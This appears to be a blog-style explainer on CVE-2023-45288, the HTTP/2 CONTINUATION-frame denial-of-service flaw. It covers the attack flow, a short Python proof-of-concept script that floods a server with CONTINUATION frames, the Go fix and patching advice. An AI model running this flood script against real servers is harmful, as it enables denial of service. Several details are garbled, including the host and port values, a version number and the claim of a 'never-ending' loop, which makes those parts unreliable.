In late 2023, a serious vulnerability in many HTTP/2 server implementations was identified and tracked as CVE-2023-45288. If left unpatched, this issue allows attackers to exhaust resources on servers using HTTP/2. This article will explain the vulnerability in plain language, include original reference links, and show code snippets and exploitation details. We’ll also cover the fix used to mitigate the attack.
What is CVE-2023-45288?
CVE-2023-45288 refers to a bug in the handling of HTTP/2 CONTINUATION frames. The attack targets the parsing of headers—even after they are meant to be discarded. Specifically, crafty attackers can flood a server with CONTINUATION frames carrying enormous Huffman-encoded header blocks. These are resource-heavy for the server to decode but cheap for attackers to send. If exploited, this can impact web server performance, potentially leading to denial of service (DoS).
Where does this happen?
This issue is found in HTTP/2 server libraries, including Go’s standard library, nghttp2 (used by NGINX), and other projects where HPACK (HTTP/2 header compression) parsing logic has not limited the processing of CONTINUATION frames in dropped requests.
Headers and CONTINUATION frames
In HTTP/2, request headers are split across HEADERS and CONTINUATION frames if they're very large or fragmented. Normally, there is a MaxHeaderBytes (Go) or similar limit, so requests with huge headers are rejected. However, as found in CVE-2023-45288, even rejected requests cause the server to continue parsing all the remaining CONTINUATION frames, burning through CPU and memory—particularly for headers that are Huffman-encoded.
Attack Flow
1. Attackers initiate an HTTP/2 stream with a HEADERS frame starting a request.
2. They send an excessive number of CONTINUATION frames with large, expensive, Huffman-encoded header fragments.
3. MaxHeaderBytes is exceeded early, but the server must still parse all CONTINUATION frames due to HPACK state maintenance.
4. The server burns cycles parsing headers it will throw away, and does not allocate memory for the remainder.
Simple Exploit Example
Let's look at a Python script (using h2 library) that demonstrates the creation of a HEADERS frame and many CONTINUATION frames with garbage, Huffman-encoded headers:
> WARNING: Do not run this against systems you don’t own. Only for educational purposes!
import socket
import h2.connection
import h2.events
HOST = "127...1"
PORT = 808
conn = h2.connection.H2Connection()
s = socket.create_connection((HOST, PORT))
conn.initiate_connection()
s.sendall(conn.data_to_send())
# Step 1: Send an initial HEADERS frame
headers = [
(':method', 'GET'),
(':authority', 'localhost'),
(':scheme', 'http'),
(':path', '/')
]
conn.send_headers(1, headers, end_stream=False)
s.sendall(conn.data_to_send())
# Step 2: Send excessive CONTINUATION frames
# Each containing lots of Huffman-encoded header data
for _ in range(100): # Large number for attack
continuation_frame = b"\x09" # Type: CONTINUATION
# Frame header: length, type, flags, stream id
header = b'\x00\x10\x09\x00\x00\x00\x00\x01'
# payload: 16 bytes of mock header fragment, encode as needed
payload = b'A' * 16
s.sendall(header + payload)
s.close()
This script abuses the oversight in max header parsing by sending a never-ending stream of garbage CONTINUATION frames.
Why Is This Dangerous?
- No memory limits: The attack causes the server to keep parsing headers, even after it decided to drop the entire request.
HPACK is expensive: Huffman decoding and HPACK processing are CPU-intensive.
- No quick shutdown: Servers didn't close the connection on too many continuation frames before the patch.
- Easy amplification: Attackers can send little but force the server to work hard on each connection.
How was this fixed?
The root issue is that servers did not enforce a hard cap on the amount of header data parsed per request/connection—even when rejecting over-limit requests. The fix was simple but effective:
> Set a fixed upper limit on excess CONTINUATION frames or bytes parsed after exceeding the header size limit. If that’s reached, close the connection immediately.
From the Go commit
// After exceeding MaxHeaderBytes, allow only a small number of extra bytes
const maxHeaderOverflow = 4 * 1024 // 4 KB allowed after limit
if totalHeaderBytesRead > MaxHeaderBytes + maxHeaderOverflow {
// Exceeded limit, kill connection
return ConnectionError(ErrCodeProtocol)
}
### NGINX/nghttp2 Fix
NGINX and nghttp2 added similar limits; see their advisories
- Go Project Security Advisory
- nghttp2 1.58. release notes
How can you protect yourself?
- Update immediately: Apply patches to all HTTP/2 capable web servers and proxies (Go, NGINX, Caddy, Envoy, etc).
- Monitor resources: Watch for unusual CPU or memory spikes on HTTP/2 endpoints.
References
- GoLang Advisory and PR
- nghttp2 Release Notes
- CVE Details
- Hacker News Discussion
Conclusion
CVE-2023-45288 is a warning that protocol complexity can hide nasty bugs. If you’re responsible for HTTP/2 servers, patch now and double-check header processing paths for similar issues. Left unchecked, a simple script could bring your service to its knees.
Timeline
Published on: 04/04/2024 21:15:16 UTC
Last modified on: 08/26/2024 21:35:02 UTC